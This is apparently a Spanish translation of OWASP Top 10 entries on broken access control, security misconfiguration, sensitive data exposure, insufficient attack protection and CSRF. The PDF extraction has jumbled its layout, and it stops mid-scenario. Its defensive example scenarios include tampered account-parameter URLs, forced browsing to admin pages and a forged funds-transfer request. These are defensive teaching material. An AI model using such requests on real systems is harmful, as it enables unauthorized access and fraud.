Considerar los tipos de usuarios autorizados en el sistema. Tienen restricciones a algunas funciones y datos? ¿Los usuarios sin autenticación pueden acceder a cualquier funcionalidad o información?
Atacantes, quienes son los usuarios autorizados, simplemente con cambiar un valor del parámetro a otro, recursos, a los que no cuentan autorización. El acceso a éstas funcionalidades o información están permitidas?
Prevalencia EXTENDIDA
Detectabilidad FACIL
Para los datos, aplicaciones y APIs frecuentemente utilizan el nombre actual o llave de un objeto al generar páginas web. Para funciones, URLs y los nombres de funciones son frecuentemente fácil de adivinar. Las aplicaciones y APIs no siempre verifican si el usuario está autorizado para acceder al recurso. Esto resulta en el error del control de acceso. Los testers pueden fácilmente manipular parámetros para detectar tales fallas. El análisis de código rápidamente muestra si la autorización es correcta.
Impacto MODERADO
Especifico de la aplicación/negocio
Tales errores pueden comprometer todas las funcionalidades o datos que son sensibles.
Considerar el valor del negocio a la exposición de información y funcionalidad.
A menos que las referencias sean impredecibles, o el control de acceso sea reforzado, los datos y funcionalidad pueden ser robados o abusados.
También el impacto del negocio a la exposición pública de la vulnerabilidad.
¿Soy vulnerable?
¿Cómo prevengo esto?
La mejor manera de averiguar si una aplicación es vulnerable al los controles de accesos vulnerables es verificar toda la información y referencias de las funciones contienen las defensas apropiadas. Para determinar debe considerar:
Prevenir los errores de control de acceso requiere seleccionar una aproximación para proteger cada función y tipo de dato (ej. Nombre de archivo, numero de objeto).
1.
2.
Para las referencias de datos, la aplicación asegura que el usuario está autorizado utilizando mapas de referencias o verifica el control de acceso para asegurar si el usuario se encuentra autorizado a la información? Para solicitudes de funciones no públicas, la aplicación asegura que el usuario se encuentra autenticado, y tiene el rol o privilegio para utilizar la función?
La revisión del código de la aplicación permite verificar si estos controles están correctamente implementados y están presentes en cualquier lugar que son requeridos. El testeo manual es efectivo para identificar fallas en el control de acceso. Las herramientas automatizadas típicamente no verifican tales errores porque no reconocen la protección que requiere o que es seguro o inseguro.
1.
2.
3.
Verificar el acceso. Cada uso de una referencia directa desde una fuente desconfiable debe incluir un lista de control de acceso para asegurar si el usuario está autorizado a utilizar el recurso solicitado. Utilizar por sesión o referencias indirectas de objetos por sesión: Este patrón de códigos previene que ataques desde objetivos directamente desde los recursos no autorizados. Por ejemplo, en vez de utilizar el recurso de la llave de la base datos, una lista desplegable de los seis recursos autorizados para cada usuario actual puede utilizar los números del 1 al 6 para indicar que valor pertenece al usuario. OWASP’s ESAPI incluye secuencial y aleatorio mapeo de acceso a las referencias que los desarrolladores pueden utilizar para eliminar el acceso directo a las referencias. Automatización de verificación. La ventaja de la automatización para verificar el apropiado despliegue de autorizaciones. A veces es personalizado.
Escenario de ejemplo del ataque. 1.
La aplicación utiliza datos sin verificar en una llamada SQL que es accesible a la información de la cuenta: • stmt.setString( 1, request.getParameter(“acct”)); • ResultSet results = pstmt.executeQuery(); Un atacante modifica el parámetro “acct” en el navegador para enviar al número de cuenta que quiera. Si no existe una apropiada verificación, el atacante puede acceder a cualquier cuenta de usuario. • http://example.com/app/accountInfo?acct=notmyacct 2.
Un atacante simplemente fuerza el navegador a URLs definidas. Los permisos de los Administradores también son requeridos para acceder a la administración de la página. http://example.com/app/getappInfo http://example.com/app/admin_getappInfo Si un usuario no autenticado puede acceder a la página y su falla. Si un no-administrador puede acceder a la página de administración, también a su falla.
• • •
•
OWASP Top 10-2007 on Insecure Direct Object References OWASP Top 10-2007 on Function Level Access Control ESAPI Access Reference Map API ESAPI Access Control API
Para controles adicionales ver ASVS requirements area for Access Control (V4). • • •
CWE Entry 285 on Improper Access Control (Authorization). CWE Entry 639 on Insecure Direct Object References. CWE Entry 22 on Path Trave
Traducido por XyZ para la comunidad de Underc0de
A5
Configuración de Seguridad Incorrecta.
Especifico de la aplicación
Explotabilidad FACIL
Prevalencia COMUN
Detectabilidad FACIL
Considere atacantes externos así como usuarios con sus propias cuentas que pueden comprometer el sistema.
Un atacante accede a cuentas por defecto, páginas sin uso, fallas sin parchar, archivos y directorios sin protección.
Las configuraciones de seguridad incorrectas pueden ocurrir en cualquier nivel de la aplicación, incluyendo la plataforma, servidor web, de aplicación, base de datos, framework y código personalizado.
También el personal interno intentando enmascaras sus acciones.
Para obtener acceso no autorizado o para conocer el sistema.
Los desarrolladores y administradores de sistema necesitan trabajar juntos para asegurar que las distintas capas están configuradas apropiadamente. Las herramientas de detección automáticas son útiles para detectar parches omitidos, fallos de configuración, uso de cuentas por defecto, servicios innecesarios, etc.
Impacto MODERADO
Especifico de la aplicación/negocio
Estas vulnerabilidades frecuentemente dan a los atacantes acceso no autorizado a algunas funcionalidades o datos del sistema.
El sistema podría ser completamente comprometido sin su conocimiento. Todos sus datos podrían ser robados o modificados lentamente en el tiempo.
Ocasionalmente provocan que sistema comprometa totalmente.
El costo de recuperación podría ser elevado. el se
¿Soy vulnerable al ataque?
¿Cómo prevenirlo?
¿Cuenta su aplicación con el apropiado fortalecimiento de seguridad a través de todas las capas que lo componen? Incluyendo:
Las recomendaciones primarias son el establecimiento de todo lo siguiente: 1-
Un proceso rápido, fácil y repetible de fortalecimiento para obtener un entorno apropiadamente asegurad. Los entornos de Desarrollo, QA y Producción deben ser configurados idénticamente (con diferentes contraseñas usadas en cada entorno). Este proceso puede ser automático para minimizar el esfuerzo de configurar un nuevo entorno seguro.
2-
Un proceso para mantener y desplegar las nuevas actualizaciones y parches de software de una manera oportuna para cada entorno. Este proceso necesita incluir todos los componentes y librerías (2017-A9).
3-
Una fuerte arquitectura de aplicación que proporcione una separación segura y efectiva entre los componentes.
Sin un proceso repetible y concertado de configuración de seguridad para las aplicaciones, los sistemas están en un riesgo elevado.
4-
Un proceso automatizado para verificar las configuraciones y seteos deben ser configurados apropiadamente en todos los entornos.
Ejemplos de escenarios de Ataque.
Referencias
1-
234-
1-
2-
3-
4-
¿Tiene algún software sin actualizar? Esto incluye el SO, Servidor Web/Aplicación, DBMS, aplicaciones, APIs y todos los componentes y librerías (2017-A9). ¿Están habilitadas o instaladas algunas características innecesarias? Ej. Puertos, servicios, paginas, cuentas, privilegios? ¿Están las cuentas por defecto y sus contraseñas aun habilitadas y sin cambiar? ¿Están las configuraciones de seguridad en su framework de desarrollo (ej. Struts, Srping, Asp.Net) y librerías sin configurar a valores seguros?
La consola de administrador del servidor de aplicaciones se instaló automáticamente y no se ha eliminado. Las cuentas por defecto no se han modificado. Un atacante descubre las páginas por defecto de administración que están en su servidor, se conecta con las contraseñas por defecto y lo toma. El listado de directorios no se encuentra deshabilitado en su servidor. El atacante descubre que puede simplemente listar directorios para encontrar cualquier archivo. El atacante encuentra descarga todas sus clases compiladas de Java, las cuales decompila y realiza ingeniería inversa para obtener todo su código fuente. Encuentra un fallo serio de control de acceso en su aplicación. La configuración del servidor de aplicaciones permite que se retornen la pila de llamada a los usuarios, exponiéndose potencialmente a fallos subyacentes. A los atacantes les encanta que les proporcionen información extra con los mensajes de errores. El servidor de aplicaciones viene con aplicaciones de ejemplo que no se eliminaron del servidor de producción. Las aplicaciones de ejemplo pueden poseer fallos de seguridad bien conocidos que los atacantes pueden utilizar para comprometer su servidor.
OWASP • • • • •
OWASP Development Guide: Chapter on Configuration OWASP Code Review Guide: Chapter on Error Handling OWASP Testing Guide: Configuration Management OWASP Testing Guide: Testing for Error Codes OWASP Top 10 2004 - Insecure Configuration Management
Por requerimientos adicionales ver ASVS (V11 and V19).
Externos. • • •
NIST Guide to General Server Hardening CWE Entry 2 on Environmental Security Flaws CIS Security Configuration Guides/Benchmarks
Traducido por XyZ para la comunidad de Underc0de
A6
Exposición de Datos Sensibles.
Especifico de la aplicación
Explotabilidad DIFICIL
Considere quien puede obtener acceso a sus datos sensibles y cualquier respaldo de estos. Esto incluye los datos almacenados, en tránsito e inclusive en el navegador del cliente, incluye amenazas internas y externas.
Los atacantes típicamente no quieran la criptografía de forma directa, sino algo más como robar claves, realizar ataques “MITM”, robar datos en texto claro del servidor, mientras se encuentran en tránsito, o del navegador del usuario.
Prevalencia POCO COMUN
Detección PROMEDIO
La debilidad más común es simplemente no cifrar datos sensibles. Cuando se emplea cifrado, es común detectar generación y gestión débil de claves, el uso de algoritmos débiles y particularmente técnicas débiles de hashing de contraseñas. Las debilidades a nivel del navegador son muy comunes y fáciles de detectar pero difíciles de explotar a gran escala. Atacantes externos encuentran dificultades detectando debilidades a nivel del servidor dado el acceso limitado y que son usualmente difíciles de explotar.
Impacto SEVERO
Especifico de la aplicación/negocio
Los fallos frecuentemente comprometen a todos los datos que deberían estar protegidos. Típicamente esta información incluye datos sensibles como ser registros médicos, credenciales, datos personales, tarjetas de crédito.
La pérdida de datos y el impacto de su reputación. ¿Cuál es su responsabilidad legal si estos datos son expuestos? También considere el daño a la reputación.
¿Soy vulnerable a la exposición de información?
¿Cómo prevenirlo?
Lo primero a determinar es el conjunto de datos sensibles que requerirán protección extra. Por ejemplo, contraseñas, números de tarjetas de crédito, registros médicos e información personal deberían protegerse.
Los riesgos completos de utilizar cifrado de forma no segura, uso de SSL y protección de datos escapan al Top 10. Para los datos sensibles, deben realizarse como mínimo lo siguiente: 1-
1. 2. 3. 4. 5.
¿Guardan en texto claro a largo plazo, incluyendo respaldos? ¿Los datos se transmiten en texto claro, interna y externamente? El tráfico por internet es especialmente peligroso. ¿Utiliza algún algoritmo criptográfico débil/anticuado? ¿Las claves criptográficas generadas son débiles, o falta una adecuada rotación o gestión de claves? ¿Utilizan tanto cabezales como directivas de seguridad del navegador cuando son enviados o provistos por el mismo?
23-
4Y mucho más….. Ver ASVS áreas Crypto (V7), Data Prot (V9), y SSL/TSL (V10).
5-
Considerar las amenazas de las cuales protegerá los datos (ej. Atacante interno, usuario externo) asegurarse de cifrar los datos sensibles almacenados o en tráfico, de manera de defenderse de estas amenazas. Evitar almacenar datos sensibles innecesariamente. Descartar lo antes posible. Datos que no obtienen o puedan ser robados. Asegurar de aplicar algoritmos de cifrado fuertes y estándares como llaves fuertes y gestionarlas de forma segura. Considerar utilizar módulos criptográficos validados como FIPS 140. Asegurar que las claves se almacenan con un algoritmo especialmente diseñado como para protegerlas como ser Bcrypt, PBKDF2 o scrypt. Deshabilitar autocompletar en los formularios que recolectan datos sensibles. Deshabilitar el cache de páginas que guarden datos sensibles.
Ejemplos de escenarios de ataque.
REFERENCIAS.
1-
OWASP.
2-
3-
Una aplicación cifra los números de tarjetas de crédito en una base de datos utilizando cifrado automático de la base de datos. Significa que también se descifra automáticamente cuando se recuperan, permitiendo por medio de una debilidad de Inyección SQL recuperar números de tarjetas en texto claro. El sistema debería cifrar dichos números utilizando una clave pública y permitir solamente a las aplicaciones de back-end descifrar con la clave privada. Un sitio simplemente no utiliza SSL para todas sus páginas que requieren autenticación. El atacante monitorea el tráfico en la red (como ser una red inalámbrica abierta) y obtiene la cookie de sesión del usuario. El atacante reenvía la cookie y secuestra la sesión, accediendo los datos privados del usuario.
Para un conjunto completo de requerimientos, ASVS req’s on Cryptography (V7), Data Protection (V9) y Communications Security (V10). • • • •
OWASP Cryptographic Storage Cheat Sheet. OWASP Password Storage Cheat Sheet. OWASP Transport Layer Protection Cheat Sheet. OWASP Testing Guide: Chapter on SSL/TLS Testing.
Externas. • • • •
CWE Entry 310 on Cryptographic Issues. CWE Entry 312 on Cleartext Storage of Sensitive Information. CWE Entry 319 on Cleartext Transmission of Sensitive Information CWE Entry 326 on Weak Encryption.
La base de datos de claves usa hashes sin salt para almacenar las claves. Una falla en una subida de archivos permite a un atacante obtener el archivo de claves. Todas las claves pueden ser expuestas mediante una tabla rainbow de hashes pre calculados.
Traducido por XyZ para la comunidad de Underc0de
A7
Protección insuficiente contra ataques.
Especifico de la aplicación
Explotabilidad FACIL
Considerar que cualquiera con acceso a la red puede enviar una solicitud a una aplicación. ¿La aplicación detecta y responde a métodos de ataques manuales y automáticos?
Los atacantes, usuarios conocidos o anónimos, envían ataques. ¿La aplicación o API detecta el ataque? ¿Cómo responde? ¿Puede impedir ataques contra éstas vulnerabilidades conocidas?
Prevalencia COMUN
Detección PROMEDIO
Las aplicaciones y APIs son atacadas todo el tiempo. La mayoría de aplicaciones y APIs detectan inputs inválidos, simplemente lo rechazan, dejando al atacante que ataque una y otra vez. Como los ataques indican un comportamiento malicioso el usuario puede probar o explotar vulnerabilidades. Detectando y bloqueando ambos ataques manual y automático, es una de las más eficaces maneras de incrementar la seguridad. ¿Cómo puede rápidamente parchar una vulnerabilidad critica con solo descubrirla?
Impacto MODERADO
La mayoría de los ataques exitosos inicia con pruebas de vulnerabilidades. Permitiendo tales pruebas para continuar elevando la probabilidad de una explotabilidad al 100% exitosa. No desplegando parches de manera rápida detendrán a un atacante.
Especifico de la aplicación/negocio
Considerar el impacto o insuficiente protección contra ataques del negocio. Los ataques efectivos pueden no prevenirse, pueden no ser descubiertos por largos periodos de tiempo y expandirse más lejos de la inicial recolección de información.
¿Soy vulnerable al ataque?
¿Cómo prevengo?
Detectando, respondiendo, y bloqueando ataques hacen que la aplicación sea más difícil de explotar aunque la mayoría de aplicaciones o APIs tengan tales protecciones. Las vulnerabilidades críticas en componentes y código personalizado son descubiertos con el tiempo, aunque a las organizaciones frecuentemente les toma meses en desarrollar nuevas defensas.
Hay tres objetivos primarios para una protección: 1.
Detectar Ataques. ¿Ocurrió algo que es imposible que un usuario autenticado cause (ej. Un ingreso de datos que ¿un cliente legítimo pueda generar?). La aplicación comenzó a ser utilizada de un modo que un usuario común no podría nunca hacerlo (ej. Ingreso de datos no típicos, patrones de uso inusuales, solicitudes repetitivas).
Debería ser obvio la detección de ataques y respuestas, aunque no es fácil. Intente atacar manualmente o ejecutar escaneadores contra las aplicaciones. La aplicación o API debería identificar a los atacantes y las características de los ataques. Si rápidamente no puede revertir virtual y/o parches actuales cuando una vulnerabilidad critica es descubierta, aún sigue expuesto al ataque.
2.
Responder a ataques. Los logs y notificaciones son esenciales para responder a tiempo. Decidir si bloquear automáticamente solicitudes, direcciones IP o rangos IP. Considerar desactivar o monitorear el comportamiento raro en las cuentas de usuarios.
3.
Parchar rápidamente. Si su proceso de desarrollo no puede sacar parches diarios críticos, despliegue un parche virtual que analizará el tráfico HTTP, flujo de datos y/o la ejecución de código y previene las vulnerabilidades desde donde son explotadas.
Asegúrese de entender que tipos de ataques están cubiertos contra protección de ataques. ¿Sólo contra XSS e Inyección SQL? Puede utilizar tecnologías como WAFs y OWASP AppSensor para detectar o bloquear ataques y/o virtualmente parchar las vulnerabilidades.
Escenarios de ejemplos de ataques.
Referencias.
1.
OWASP
Un atacante utiliza herramientas automatizadas como OWASP ZAP o SQLMap para detectar vulnerabilidades y posiblemente explotarlas.
La detección de ataques debería reconocer que la aplicación está siendo atacada con consultas inusuales y de alto volumen. Los escaneos automatizados deben ser fácil de diferenciar de un tráfico normal. 2.
Un atacante habilidoso cuidadosamente probará vulnerabilidades potenciales, e incluso encontrando una falla oscura.
• • • • • •
OWASP Article on Intrusion Detection OWASP AppSensor OWASP Automated Threats Project OWASP Credential Stuffing Cheat Sheet OWASP Virtual Patching Cheat Sheet OWASP Mod Security Core Ruleset
Externas. Mientras más difícil sea de detectar, éste ataque aun involucra solicitudes que un usuario normal no debe enviar, como ingreso de datos no permitidos en la interfaz de usuario. Perseguir al atacante puede requerir construir un caso con el tiempo que demuestre las intenciones maliciosas.
• • •
WASC Article on Insufficient Anti-automation CWE Entry 778 - Insufficient Logging CWE Entry 799 - Improper Control of Interaction Frequency
3.
Los atacantes inician explotando una vulnerabilidad en la aplicación que normalmente falla en bloquear. ¿Cuán rápido puede un parche real o virtual parar o bloquear la continua explotación de ésta vulnerabilidad?
Traducido por XyZ para la comunidad de Underc0de
A8
Falsificación de Petición en Sitios Cruzados (CSRF)
Especifico de la aplicación
Explotabilidad PROMEDIO
Considerar cualquier persona que pueda cargar contenido en los navegadores de los usuarios y así obligarlos a presentar una solicitud para su sitio web.
El atacante crea peticiones HTTP falsificadas y engaña a la víctima mediante el envío de etiquetas de imágenes, XSS u otras técnicas. Si el usuario está autenticado el ataque tiene éxito.
Cualquier sitio web o canal HTML que el usuario acceda puede realizar este tipo de ataque.
Prevalencia POCO COMUN
Detección FACIL
CSRF aprovecha el hecho que la mayoría de las aplicaciones web permiten a los atacantes predecir todos los detalles de una acción en particular. Dado que los navegadores envían credenciales como cookies de sesión de forma automática, los atacantes pueden crear páginas web maliciosas que generan peticiones falsificadas que con indistinguibles de las legítimas.
Impacto MODERADO Los atacantes pueden cambiar cualquier dato que la víctima esté autorizada a cambiar o a acceder a cualquier funcionalidad donde este autorizada, incluyendo registros, cambios de estado o cierre de sesión.
Especifico de la aplicación/negocio Considerar el valor del negocio a los datos o funciones afectados. Tener en cuenta lo que representa no estar seguro si los usuarios en realidad desean realizar dichas acciones. Considerar el impacto que tiene en la reputación de su negocio.
La detección de fallos de tipo CSRF es bastante fácil a través de pruebas de penetración o de análisis de código.
¿Soy vulnerable a CSRF?
¿Cómo prevengo un CSRF?
Para verificar si una aplicación es vulnerable, verifique que los enlaces y formularios carecen de un token impredecible CSRF. Sin tal token, los atacantes pueden falsificar solicitudes maliciosas. Como defensa alternativa es requerir al usuario que pruebe su intención de enviar la solicitud, a través de una re-autenticación.
La opción preferida es utilizar una defensa existente contra CSRF. Muchos frameworks ahora incluyen defensas contra CSRF incorporadas, como Spring, Play, Django y AngularJS. Algunos lenguajes de desarrollo web como .NET lo incluye. OWASP’s CSRF Guard puede automáticamente añadir defensas CSRF en aplicaciones Java. OWASP’s CSRFProtector hace lo mismo para PHP como un filtro en Apache.
Enfocarse en los enlaces y formularios que invoquen un estado de cambio en las funciones, esos son los objetivos CSRF más importantes. Transacciones de múltiple pasos no son inmunes. También cuídese de los (SSRF) Server-Side Request Forgery es posible engañando a las aplicaciones y APIs generando solicitudes HTTP arbitrarias.
Por otro lado, prevenir un CSRF usualmente requiere incluir un token impredecible en cada solicitud HTTP. Tales tokens deben, como mínimo, ser únicos por sesión. 1.
Notar que las cookies de sesión, direcciones IP origen y otra información que es enviada automáticamente por el navegador no defiende contra CSRF desde que están incluidas en la malformación de solicitudes.
2.
La opción preferida es incluir un token único en un campo oculto. Incluye el valor en el cuerpo de la solicitud HTTP, evitando la exposición en la URL. Un token único puede ser incluido en la URL o como parámetro. Sin embargo, permite el riesgo que el token sea expuesto a un atacante. Considerar utilizar el “SameSite=strict” en todas las cookies lo cual es altamente soportado en los navegadores.
La herramienta OWASP’s CSRF Tester puede ayudar a generar verificaciones para demostrar la peligrosidad de fallas CSRF.
3.
Ejemplos de escenarios de ataques.
Referencias
La aplicación permite a un usuario enviar un estado de cambio en la solicitud que no incluye nada secreto. Por ejemplo: • http://example.com/app/transferFunds?ammount=1500&d estinationAccount=4673243243
OWASP • OWASP CSRF Article • OWASP CSRF Prevention Cheat Sheet • OWASP CSRFGuard - Java CSRF Defense Tool • OWASP CSRFProtector - PHP and Apache CSRF Defense Tool • ESAPI HTTPUtilities Class with AntiCSRF Tokens • OWASP Testing Guide: Chapter on CSRF Testing • OWASP CSRFTester - CSRF Testing Tool
Entonces, un atacante construye una solicitud que transferirá dinero desde la cuenta de la victima a la cuenta del atacante, y entonces embebe éste ataque en una solicitud de una imagen o frame almacenado en varios sitios bajo el control del atacante:
